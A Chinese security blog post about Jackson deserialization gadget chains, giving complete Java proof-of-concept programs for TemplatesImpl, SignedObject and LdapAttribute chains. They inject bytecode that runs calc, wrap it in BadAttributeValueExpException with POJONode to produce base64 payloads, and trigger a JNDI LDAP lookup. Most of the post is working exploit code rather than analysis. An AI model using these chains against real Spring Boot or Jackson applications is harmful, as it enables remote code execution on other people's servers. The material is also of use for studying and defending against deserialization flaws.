JackSon反序列化通杀

前言

Springboot一般都会自带JackSon这个依赖包，JackSon跟Fastjson有相同的功效

简单复现

package com.example.jakeson.demo;
import java.io.IOException;
import java.io.Serializable;
public class User implements Serializable {
    public User() {
    }
    public Object getName() throws IOException {
        Runtime.getRuntime().exec("calc");
        return "1";
    }
    public Object setName(String name) {
        System.out.println("setname");
        return "2";
    }
}

package com.example.jakeson.demo;
import com.fasterxml.jackson.databind.node.POJONode;
public class JakesonDemo {
    public static void main(String[] args) {
        User user = new User();
        POJONode jsonNodes = new POJONode(user);
        jsonNodes.toString();
    }
}

运行即可弹计算器

Jackson反序列化利用链

注意点

PoJoNode类是继承ValueNode，ValueNode是继承BaseJsonNode类，我们看看BaseJsonNode类



它拥有writeReplace方法，有这个方法就意味着反序列化时不会走正常渠道，而是走这个writeReplace方法，这是反序列化的规则，解决办法就是重写BaseJsonNode类

把这个writeReplace注释掉即可

TemplatesImpl链

package com.example.jakeson.demo;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.util.Base64;
public class TemplatesImplDemo {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[][] bytes = new byte[][]{ct.toBytecode()};
        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", bytes);
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode pojoNode = new POJONode(templatesImpl);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,pojoNode);
        System.out.println(serial(exp));
        deserial(serial(exp));
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();
        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;
    }
    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

TemplatesImpl的流程就不跟了，简单的跟一下Jackson的流程，BadAVEE里面触发toString

进入到重写的BaseJsonNode类的toString方法

中间流程断了，。。。。，跟到最后，在StdSerializer类中wrapAndThrow方法调用到了getter

SignObject链

二次反序列化，无需多讲

package com.example.jakeson.demo;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
public class SignObjectDemo {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[][] bytes = new byte[][]{ct.toBytecode()};
        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", bytes);
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode pojoNode = new POJONode(templatesImpl);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,pojoNode);
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(exp,privateKey,signingEngine);
        POJONode pojoNode2 = new POJONode(signedObject);
        BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
        Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val2.setAccessible(true);
        val2.set(exp2,pojoNode2);
        System.out.println(serial(exp2));
        deserial(serial(exp2));
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();
        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;
    }
    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

LdapAttribute链

package com.example.jakeson.demo;
import com.fasterxml.jackson.databind.node.POJONode;
import javax.management.BadAttributeValueExpException;
import javax.naming.CompositeName;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
public class LdapAttributeDemo {
    public static void main( String[] args ) throws Exception {
        String ldapCtxUrl = "ldap://127.0.0.1:1099/";
        Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
        Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
                new Class[] {String.class});
        ldapAttributeClazzConstructor.setAccessible(true);
        Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
                new Object[] {"name"});
        Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
        baseCtxUrlField.setAccessible(true);
        baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
        Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
        rdnField.setAccessible(true);
        rdnField.set(ldapAttribute, new CompositeName("a//b"));
        POJONode jsonNodes = new POJONode(ldapAttribute);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,jsonNodes);
        deserial(serial(exp));
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException, IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();
        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;
    }
    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

LdapAttribute类中有getter方法调用了lookup



两处入口，上面poc进入的是getAttributeDefinition方法，payload有些讲究，我们之前的payload都是ldap://xxxxx/xxx，这里payload必须是ldap://xxxx/不需要后缀了，具体原因是，艹了，没有java文件调试不了，不想去下了，大伙去看别的师傅的思路吧